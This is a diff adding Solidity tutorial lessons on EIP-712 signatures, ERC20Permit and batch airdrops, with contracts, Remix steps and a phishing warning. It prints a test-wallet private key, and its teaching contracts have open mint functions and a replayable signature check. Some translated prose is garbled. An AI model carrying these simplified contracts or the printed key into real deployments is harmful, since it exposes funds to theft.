"0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + number: "100", + }; + ``` + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/52_EIP712_en/step1/img/52-3.png) + +4. Call the `signTypedData()` method of the wallet object, passing in the `domain`, `types`, and `message` variables from the previous step for signature (`ethersjs v6` is used here). + + ```js + // Get provider + const provider = new ethers.BrowserProvider(window.ethereum) + // After obtaining the signer, call the signTypedData method for eip712 signature + const signature = await signer.signTypedData(domain, types, message); + console.log("Signature:", signature); + ``` + ![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/52_EIP712_en/step1/img/52-4.png) + +### On-chain verification + +Next is the `EIP712Storage` contract part, which needs to verify the signature and, if passed, modify the `number` state variable. It has `5` state variables. + +1. `EIP712DOMAIN_TYPEHASH`: The type hash of `EIP712Domain`, which is a constant. +2. `STORAGE_TYPEHASH`: The type hash of `Storage`, which is a constant. +3. `DOMAIN_SEPARATOR`: This is the unique value of each domain (Dapp) mixed in the signature, consisting of `EIP712DOMAIN_TYPEHASH` and `EIP712Domain` (name, version, chainId, verifyingContract), initialized in `constructor()`. +4. `number`: The state variable that stores the value in the contract can be modified by the `permitStore()` method. +5. `owner`: Contract owner, initialized in `constructor()`, and verify the validity of the signature in the `permitStore()` method. + +In addition, the `EIP712Storage` contract has `3` functions. + +1. Constructor: Initialize `DOMAIN_SEPARATOR` and `owner`. +2. `retrieve()`: Read the value of `number`. +3. `permitStore`: Verify the EIP712 signature and modify the value of `number`. First, it breaks the signature into `r`, `s`, and `v`. The signed message text `digest` is then spelt out using `DOMAIN_SEPARATOR`, `STORAGE_TYPEHASH`, the caller address, and the `_num` parameter entered. Finally, use the `recover()` method of `ECDSA` to recover the signer's address. If the signature is valid, update the value of `number`. + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + EIP712DOMAIN_TYPEHASH, // type hash + keccak256(bytes("EIP712Storage")), // name + keccak256(bytes("1")), // version + block.chainid, // chain id + address(this) // contract address + )); + owner = msg.sender; + } + + /** + * @dev Store value in variable + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // Check the signature length, 65 is the length of the standard r, s, v signature + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Currently only assembly (inline assembly) can be used to obtain the values of r, s, v from the signature + assembly { + /* + The first 32 bytes store the length of the signature (dynamic array storage rules) + add(sig, 32) = pointer to sig + 32 + Equivalent to skipping the first 32 bytes of signature + mload(p) loads the next 32 bytes of data starting from memory address p + */ + // Read the 32 bytes after length data + r := mload(add(_signature, 0x20)) + //32 bytes after reading + s := mload(add(_signature, 0x40)) + //Read the last byte + v := byte(0, mload(add(_signature, 0x60))) + } + + //Get signed message hash + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + address signer = digest.recover(v, r, s); //Recover the signer + require(signer == owner, "EIP712Storage: Invalid signature"); // Check signature + + //Modify state variables + number = _num; + } + + /** + * @dev Return value + * @return value of 'number' + */ + function retrieve() public view returns (uint256){ + return number; + } +} +``` + +## Remix Reappearance + +1. Deploy the `EIP712Storage` contract. + +2. Run `eip712storage.html`, change the `Contract Address` to the deployed `EIP712Storage` contract address, and then click the `Connect Metamask` and `Sign Permit` buttons to sign. To sign, use the wallet that deploys the contract, such as the Remix test wallet: + + ```js + public_key: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +3. Call the `permitStore()` method of the contract, enter the corresponding `_num` and signature, and modify the value of `number`. + +4. Call the `retrieve()` method of the contract and see that the value of `number` has changed. + +## Summary + +In this lecture, we introduce EIP712 typed data signature, a more advanced and secure signature standard. When requesting a signature, the wallet displays the original data of the signed message and the user can sign after verifying the data. This standard is widely used and is used in Metamask, Uniswap token pairs, DAI stable currency and other scenarios. I hope everyone can master it. diff --git a/SolidityBasics_Part3_Applications/step23/ERC20Permit.sol b/SolidityBasics_Part3_Applications/step23/ERC20Permit.sol new file mode 100644 index 000000000..bf7927e78 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step23/ERC20Permit.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/** +* @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev initializes the name of EIP712 and the name and symbol of ERC20 + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev See {IERC20Permit-permit}. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // Check deadline + require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); + + // Splice Hash + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // Calculate the signer from the signature and message, and verify the signature + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: invalid signature"); + + //Authorize + _approve(owner, spender, value); + } + + /** + * @dev See {IERC20Permit-nonces}. + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "Consumption nonce": Returns the current `nonce` of the `owner` and increases it by 1. + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } + + // @dev mint tokens + function mint(uint amount) external { + _mint(msg.sender, amount); + } +} diff --git a/SolidityBasics_Part3_Applications/step23/IERC20Permit.sol b/SolidityBasics_Part3_Applications/step23/IERC20Permit.sol new file mode 100644 index 000000000..c77b07de3 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step23/IERC20Permit.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * +* Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +interface IERC20Permit { + /** + * @dev Authorizes `owenr`’s ERC20 balance to `spender` based on the owner’s signature, the amount is `value` + * + * Release the {Approval} event. + * + * Require: + * + * - `spender` cannot be a zero address. + * - `deadline` must be a timestamp in the future. + * - `v`, `r` and `s` must be valid `secp256k1` signatures of the `owner` on function arguments in EIP712 format. + * - The signature must use the `owner`'s current nonce (see {nonces}). + * + *For more information on signature format, see: + * https://eips.ethereum.org/EIPS/eip-2612#specification。 + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + * @dev Returns the current nonce of `owner`. This value must be included every time you generate a signature for {permit}. + * + * Each successful call to {permit} will increase the `owner`'s nonce by 1. This prevents the signature from being used multiple times. + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev Returns the domain separator used to encode the signature of {permit}, as defined by {EIP712}. + */ + // solhint-disable-next-line func-name-mixedcase + function DOMAIN_SEPARATOR() external view returns (bytes32); +} diff --git a/SolidityBasics_Part3_Applications/step23/img/53-1.png b/SolidityBasics_Part3_Applications/step23/img/53-1.png new file mode 100644 index 000000000..6290d4630 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step23/img/53-1.png differ diff --git a/SolidityBasics_Part3_Applications/step23/img/53-2.png b/SolidityBasics_Part3_Applications/step23/img/53-2.png new file mode 100644 index 000000000..0342213ef Binary files /dev/null and b/SolidityBasics_Part3_Applications/step23/img/53-2.png differ diff --git a/SolidityBasics_Part3_Applications/step23/step1.md b/SolidityBasics_Part3_Applications/step23/step1.md new file mode 100644 index 000000000..636187ba6 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step23/step1.md @@ -0,0 +1,210 @@ +--- +title: 53. ERC-2612 ERC20Permit +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF A simple introduction to Solidity: 53. ERC-2612 ERC20Permit + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In this lecture, we introduce an extension of ERC20 tokens, ERC20Permit, which supports the use of signatures for authorization and improves user experience. It was proposed in EIP-2612, has been incorporated into the Ethereum standard, and is used by tokens such as `USDC`, `ARB`, etc. + +## ERC20 + +We introduced ERC20, the most popular token standard in Ethereum, in [Lecture 31](https://github.com/WTFAcademy/WTF-Solidity/blob/main/Languages/en/31_ERC20_en/readme.md). One of the main reasons for its popularity is that the two functions `approve` and `transferFrom` are used together so that tokens can not only be transferred between externally owned accounts (EOA) but can also be used by other contracts. + +However, the `approve` function of ERC20 is restricted to be called only by the token owner, which means that all initial operations of `ERC20` tokens must be performed by `EOA`. For example, if user A uses `USDT` to exchange `ETH` on a decentralized exchange, two transactions must be completed: in the first step, user A calls `approve` to authorize `USDT` to the contract, and in the second step, user A calls `approve` to authorize `USDT` to the contract. Contracts are exchanged. Very cumbersome, and users must hold `ETH` to pay for the gas of the transaction. + +## ERC20Permit + +EIP-2612 proposes ERC20Permit, which extends the ERC20 standard by adding a `permit` function that allows users to modify authorization through EIP-712 signatures instead of through `msg.sender`. This has two benefits: + +1. The authorization step only requires the user to sign off the chain, reducing one transaction. +2. After signing, the user can entrust a third party to perform subsequent transactions without holding ETH: User A can send the signature to a third party B who has gas, and entrust B to execute subsequent transactions. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/53_ERC20Permit/step1/img/53-1.png) + +## Contract + +### IERC20Permit interface contract + +First, let us study the interface contract of ERC20Permit, which defines 3 functions: + +- `permit()`: Authorize the ERC20 token balance of `owner` to `spender` according to the signature of `owner`, and the amount is `value`. Require: + + - `spender` cannot be a zero address. + - `deadline` must be a timestamp in the future. + - `v`, `r` and `s` must be valid `secp256k1` signatures of the `owner` on function arguments in EIP712 format. + - The signature must use the current nonce of the `owner`. + + +- `nonces()`: Returns the current nonce of `owner`. This value must be included every time you generate a signature for the `permit()` function. Each successful call to the `permit()` function will increase the `owner` nonce by 1 to prevent the same signature from being used multiple times. + +- `DOMAIN_SEPARATOR()`: Returns the domain separator used to encode the signature of the `permit()` function, such as [EIP712](https://github.com/AmazingAng/WTF-Solidity/blob/main /52_EIP712/readme.md). + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + */ +interface IERC20Permit { + /** + * @dev Authorizes `owner`’s ERC20 balance to `spender` based on the owner’s signature, the amount is `value` + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + *@dev Returns the current nonce of `owner`. This value must be included every time you generate a signature for {permit}. + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev Returns the domain separator used to encode the signature of {permit} + */ + // solhint-disable-next-line func-name-mixedcase + function DOMAIN_SEPARATOR() external view returns (bytes32); +} +``` + +### ERC20Permit Contract + +Next, let us write a simple ERC20Permit contract, which implements all interfaces defined by IERC20Permit. The contract contains 2 state variables: + +- `_nonces`: `address -> uint` mapping, records the current nonce values of all users, +- `_PERMIT_TYPEHASH`: Constant, records the type hash of the `permit()` function. + +The contract contains 5 functions: + +- Constructor: Initialize the `name` and `symbol` of the token. +- **`permit()`**: The core function of ERC20Permit, which implements the `permit()` of IERC20Permit. It first checks whether the signature has expired, then restores the signed message using `_PERMIT_TYPEHASH`, `owner`, `spender`, `value`, `nonce`, and `deadline` and verifies whether the signature is valid. If the signature is valid, the `_approve()` function of ERC20 is called to perform the authorization operation. +- `nonces()`: Implements the `nonces()` function of IERC20Permit. +- `DOMAIN_SEPARATOR()`: Implements the `DOMAIN_SEPARATOR()` function of IERC20Permit. +- `_useNonce()`: A function that consumes `nonce`, returns the user's current `nonce`, and increases it by 1. + +```solidity +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/*** @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev initializes the name of EIP712 and the name and symbol of ERC20 + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev See {IERC20Permit-permit}. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // Check deadline + require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); + + // Splice Hash + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // Calculate the signer from the signature and message, and verify the signature + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: invalid signature"); + + //Authorize + _approve(owner, spender, value); + } + + /** + * @dev See {IERC20Permit-nonces}. + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "Consumption nonce": Returns the current `nonce` of the `owner` and increases it by 1. + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } +} +``` + +## Remix Reappearance + +1. Deploy the `ERC20Permit` contract and set both `name` and `symbol` to `WTFPermit`. + +2. Run `signERC20Permit.html` and change the `Contract Address` to the deployed `ERC20Permit` contract address. Other information is given below. Then click the `Connect Metamask` and `Sign Permit` buttons in sequence to sign, and obtain `r`, `s`, and `v` for contract verification. To sign, use the wallet that deploys the contract, such as the Remix test wallet: + + ```js + owner: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 spender: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + value: 100 + deadline: 115792089237316195423570985008687907853269984665640564039457584007913129639935 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/53_ERC20Permit/step1/img/53-2.png) + + +3. Call the `permit()` method of the contract, enter the corresponding parameters, and authorize. + +4. Call the `allance()` method of the contract, enter the corresponding `owner` and `spender`, and you can see that the authorization is successful. + +## Safety Note + +ERC20Permit uses off-chain signatures for authorization, which brings convenience to users but also brings risks. Some hackers will use this feature to conduct phishing attacks to deceive user signatures and steal assets. A signature [phishing attack] (https://twitter.com/0xAA_Science/status/1652880488095440897?s=20) targeting USDC in April 2023 caused a user to lose 228w u of assets. + +**When signing, be sure to read the signature carefully! ** + +## Summary + +In this lecture, we introduced ERC20Permit, an extension of the ERC20 token standard, which supports users to use off-chain signatures for authorization operations, improves user experience, and is adopted by many projects. But at the same time, it also brings greater risks, and your assets can be swept away with just one signature. Everyone must be more careful when signing. diff --git a/SolidityBasics_Part3_Applications/step3/Airdrop.sol b/SolidityBasics_Part3_Applications/step3/Airdrop.sol new file mode 100644 index 000000000..c8eb32323 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step3/Airdrop.sol @@ -0,0 +1,120 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.21; + +import "./IERC20.sol"; //import IERC20 + +/// @notice Transfer ERC20 tokens to multiple addresses +contract Airdrop { + /// @notice Transfer ERC20 tokens to multiple addresses, authorization is required before use + /// + /// @param _token The address of ERC20 token for transfer + /// @param _addresses The array of airdrop addresses + /// @param _amounts The array of amount of tokens (airdrop amount for each address) + function multiTransferToken( + address _token, + address[] calldata _addresses, + uint256[] calldata _amounts + ) external { + // Check: The length of _addresses array should be equal to the length of _amounts array + require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); + IERC20 token = IERC20(_token); // Declare IERC contract variable + uint _amountSum = getSum(_amounts); // Calculate the total amount of airdropped tokens + // Check: The authorized amount of tokens should be greater than or equal to the total amount of airdropped tokens + require(token.allowance(msg.sender, address(this)) >= _amountSum, "Need Approve ERC20 token"); + + // for loop, use transferFrom function to send airdrops + for (uint256 i; i < _addresses.length; i++) { + token.transferFrom(msg.sender, _addresses[i], _amounts[i]); + } + } + + /// Transfer ETH to multiple addresses + function multiTransferETH( + address payable[] calldata _addresses, + uint256[] calldata _amounts + ) public payable { + // Check: _addresses and _amounts arrays should have the same length + require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); + // Calculate total amount of ETH to be airdropped + uint _amountSum = getSum(_amounts); + // Check: transferred ETH should equal total amount + require(msg.value == _amountSum, "Transfer amount error"); + // Use a for loop to transfer ETH using transfer function + for (uint256 i = 0; i < _addresses.length; i++) { + _addresses[i].transfer(_amounts[i]); + } + } + + + // sum function for arrays + function getSum(uint256[] calldata _arr) public pure returns(uint sum) + { + for(uint i = 0; i < _arr.length; i++) + sum = sum + _arr[i]; + } +} + + +// The contract of ERC20 token +contract ERC20 is IERC20 { + + mapping(address => uint256) public override balanceOf; + + mapping(address => mapping(address => uint256)) public override allowance; + + uint256 public override totalSupply; // total supply of the token + + string public name; // the name of the token + string public symbol; // the symbol of the token + + uint8 public decimals = 18; // decimal places of the token + + constructor(string memory name_, string memory symbol_){ + name = name_; + symbol = symbol_; + } + + // @dev Implements the `transfer` function, which handles token transfers logic. + function transfer(address recipient, uint amount) external override returns (bool) { + balanceOf[msg.sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(msg.sender, recipient, amount); + return true; + } + + // @dev Implements `approve` function, which handles token authorization logic. + function approve(address spender, uint amount) external override returns (bool) { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + return true; + } + + // @dev Implements `transferFrom` function,which handles token authorized transfer logic. + function transferFrom( + address sender, + address recipient, + uint amount + ) external override returns (bool) { + allowance[sender][msg.sender] -= amount; + balanceOf[sender] -= amount; + balanceOf[recipient] += amount; + emit Transfer(sender, recipient, amount); + return true; + } + + // @dev Creates tokens, transfers `amouont` of tokens from `0` address to caller's address. + function mint(uint amount) external { + balanceOf[msg.sender] += amount; + totalSupply += amount; + emit Transfer(address(0), msg.sender, amount); + } + + // @dev Destroys tokens,transfers `amouont` of tokens from caller's address to `0` address. + function burn(uint amount) external { + balanceOf[msg.sender] -= amount; + totalSupply -= amount; + emit Transfer(msg.sender, address(0), amount); + } + +} diff --git a/SolidityBasics_Part3_Applications/step3/IERC20.sol b/SolidityBasics_Part3_Applications/step3/IERC20.sol new file mode 100644 index 000000000..76efbf286 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step3/IERC20.sol @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +// WTF Solidity by 0xAA + +pragma solidity ^0.8.21; + +/** + * @dev ERC20 interface contract. + */ +interface IERC20 { + /** + * @dev Triggered when `value` tokens are transferred from `from` to `to`. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Triggered whenever `value` tokens are approved by `owner` to be spent by `spender`. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); + + /** + * @dev Returns the total amount of tokens. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Transfers `amount` tokens from the caller's account to the recipient `to`. + * + * Returns a boolean value indicating whether the operation succeeded or not. + * + * Emits a {Transfer} event. + */ + function transfer(address to, uint256 amount) external returns (bool); + + /** + * @dev Returns the amount authorized by the `owner` account to the `spender` account, default is 0. + * + * When {approve} or {transferFrom} is invoked,`allowance` will be changed. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev Allows `spender` to spend `amount` tokens from caller's account. + * + * Returns a boolean value indicating whether the operation succeeded or not. + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Transfer `amount` of tokens from `from` account to `to` account, subject to the caller's allowance. + * The caller must have allowance for `from` account balance. + * + * Returns `true` if the operation is successful. + * + * Emits a {Transfer} event. + */ + function transferFrom( + address from, + address to, + uint256 amount + ) external returns (bool); +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step3/img/33-1.png b/SolidityBasics_Part3_Applications/step3/img/33-1.png new file mode 100644 index 000000000..291d38ef5 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step3/img/33-1.png differ diff --git a/SolidityBasics_Part3_Applications/step3/img/33-2.png b/SolidityBasics_Part3_Applications/step3/img/33-2.png new file mode 100644 index 000000000..3001197a1 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step3/img/33-2.png differ diff --git a/SolidityBasics_Part3_Applications/step3/img/33-3.png b/SolidityBasics_Part3_Applications/step3/img/33-3.png new file mode 100644 index 000000000..689e60b0f Binary files /dev/null and b/SolidityBasics_Part3_Applications/step3/img/33-3.png differ diff --git a/SolidityBasics_Part3_Applications/step3/img/33-4.png b/SolidityBasics_Part3_Applications/step3/img/33-4.png new file mode 100644 index 000000000..d94374748 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step3/img/33-4.png differ diff --git a/SolidityBasics_Part3_Applications/step3/img/33-5.png b/SolidityBasics_Part3_Applications/step3/img/33-5.png new file mode 100644 index 000000000..cb0411877 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step3/img/33-5.png differ diff --git a/SolidityBasics_Part3_Applications/step3/img/33-6.png b/SolidityBasics_Part3_Applications/step3/img/33-6.png new file mode 100644 index 000000000..84bbbb0bb Binary files /dev/null and b/SolidityBasics_Part3_Applications/step3/img/33-6.png differ diff --git a/SolidityBasics_Part3_Applications/step3/step1.md b/SolidityBasics_Part3_Applications/step3/step1.md new file mode 100644 index 000000000..f4ff07657 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step3/step1.md @@ -0,0 +1,133 @@ +--- +title: 33. Airdrop Contract +tags: + - Solidity + - Application + - WTF Academy + - ERC20 + - Airdrop +--- + +# WTF Solidity Quick Start: 33. Sending Airdrops + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +In the world of cryptocurrency, one of the most exciting things is receiving an airdrop of free tokens. In this tutorial, we will learn how to use a smart contract to send `ERC20` tokens as an airdrop. + +## Airdrop + +An airdrop is a marketing strategy used in the cryptocurrency industry where a project distributes tokens for free to a specific group of users. To qualify for an airdrop, users are usually required to complete simple tasks such as testing a product, sharing news, or referring friends. The project gains seed users through the airdrop, while users receive a sum of wealth, making it a win-win situation. + +Since there are usually a large number of users receiving an airdrop, it is not practical for the project to send each transfer one by one. By using a smart contract to batch-send `ERC20` tokens, the efficiency of the airdrop can be significantly increased. + +### Airdrop Token Contract + +The logic of the airdrop contract is simple: by using a loop, a single transaction sends `ERC20` tokens to multiple addresses. The contract contains `2` functions: + +- The `getSum()` function: returns the sum of a `uint` array. + + ```solidity + // sum function for arrays + function getSum(uint256[] calldata _arr) public pure returns(uint sum) + { + for(uint i = 0; i < _arr.length; i++) + sum = sum + _arr[i]; + } + ``` + +- Function `multiTransferToken()`: sends airdrop of `ERC20` tokens, including `3` parameters: + - `_token`: Address of the token contract (`address` type) + - `_addresses`: Array of user addresses receiving the airdrop (`address[]` type) + - `_amounts`: Array of airdrop amounts that correspond to the quantity of each address in `_addresses` (`uint[]` type) + + This function contains `2` checks: The first `require` checks if the length of the `_addresses` array is equal to the length of the `_amounts` array. The second `require` checks if the authorization limit of the airdrop contract is greater than the total amount of tokens to be airdropped. + +```solidity +/// @notice Transfer ERC20 tokens to multiple addresses, authorization is required before use +/// +/// @param _token The address of ERC20 token for transfer +/// @param _addresses The array of airdrop addresses +/// @param _amounts The array of amount of tokens (airdrop amount for each address) +function multiTransferToken( + address _token, + address[] calldata _addresses, + uint256[] calldata _amounts + ) external { + // Check: The length of _addresses array should be equal to the length of _amounts array + require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); + IERC20 token = IERC20(_token); // Declare IERC contract variable + uint _amountSum = getSum(_amounts); // Calculate the total amount of airdropped tokens + // Check: The authorized amount of tokens should be greater than or equal to the total amount of airdropped tokens + require(token.allowance(msg.sender, address(this)) >= _amountSum, "Need Approve ERC20 token"); + + // for loop, use transferFrom function to send airdrops + for (uint8 i; i < _addresses.length; i++) { + token.transferFrom(msg.sender, _addresses[i], _amounts[i]); + } +} +``` + +- `multiTransferETH()` function: Send `ETH` airdrop, with `2` parameters: + - `_addresses`: An array of user addresses that receive the airdrop (`address[]` type) + - `_amounts`: An array of airdrop amounts, corresponding to the quantity for each address in `_addresses` (`uint[]` type) + +```solidity +/// Transfer ETH to multiple addresses +function multiTransferETH( + address payable[] calldata _addresses, + uint256[] calldata _amounts +) public payable { + // Check: _addresses and _amounts arrays should have the same length + require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); + // Calculate total amount of ETH to be airdropped + uint _amountSum = getSum(_amounts); + // Check: transferred ETH should equal total amount + require(msg.value == _amountSum, "Transfer amount error"); + // Use a for loop to transfer ETH using transfer function + for (uint256 i = 0; i < _addresses.length; i++) { + _addresses[i].transfer(_amounts[i]); + } +} +``` + +### Airdrop Practice + +1. Deploy the `ERC20` token contract and mint 10,000 units of the token for yourself. + +![Deploy `ERC20`](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/33_Airdrop_en/step1/img/33-1.png) + +![Mint](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/33_Airdrop_en/step1/img/33-2.png) + +2. Deploy the `Airdrop` contract. + +![Deploy `Airdrop` contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/33_Airdrop_en/step1/img/33-3.png) + +3. Use the `approve()` function in the `ERC20` contract to grant authorization of 10,000 units of the token to the `Airdrop` contract. + +![Authorize `Airdrop` contract](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/33_Airdrop_en/step1/img/33-4.png) + +4. Execute the `multiTransferToken()` function in the `Airdrop` contract to perform the airdrop. Set `_token` as the `ERC20` token address, and fill in `_addresses` and `_amounts` as follows: + +``` +// input _addresses like below +["0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"] + +// input _amounts like below +[100, 200] +``` + +![Airdrop](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/33_Airdrop_en/step1/img/33-5.png) + +5. Use the `balanceOf()` function of the `ERC20` contract to check the token balance of the user address above. The airdrop is successful if the balance becomes `100` and `200` respectively! + +![Check the token balance of the airdrop users](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/33_Airdrop_en/step1/img/33-6.png) + +## Conclusion + +In this lesson, we introduced how to use `solidity` to write an `ERC20` token airdrop contract, greatly increasing the efficiency of airdrops. 